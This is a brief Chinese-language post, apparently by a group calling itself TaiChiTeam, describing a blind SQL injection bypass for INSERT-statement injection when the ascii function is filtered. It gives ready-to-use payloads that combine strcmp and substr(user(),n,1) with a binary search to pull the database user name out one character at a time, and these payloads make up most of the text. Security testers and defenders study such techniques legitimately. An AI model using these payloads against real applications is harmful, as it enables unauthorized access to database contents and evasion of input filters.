发现一个很骚气的盲注姿势

在insert 注入中，极限情况下过滤了ascii，可以用这种姿势绕过

'0'+strcmp('TaiChiTeam',substr(user(),1,1))+'TaiChiTeam

使用二分法，0'+strcmp('z',substr(user(),1,1))+'TaiChiTeam 返回 -1 则

0'+strcmp('m',substr(user(),1,1))+'TaiChiTeam 返回1 则继续 

直到返回值依次为 1 0 -1  或者 -1 0 1 则 0 中的字符为正确值

然后继续

0'+strcmp('z',substr(user(),2,1))+'TaiChiTeam

by   TaiChiTeam Taichi-0x1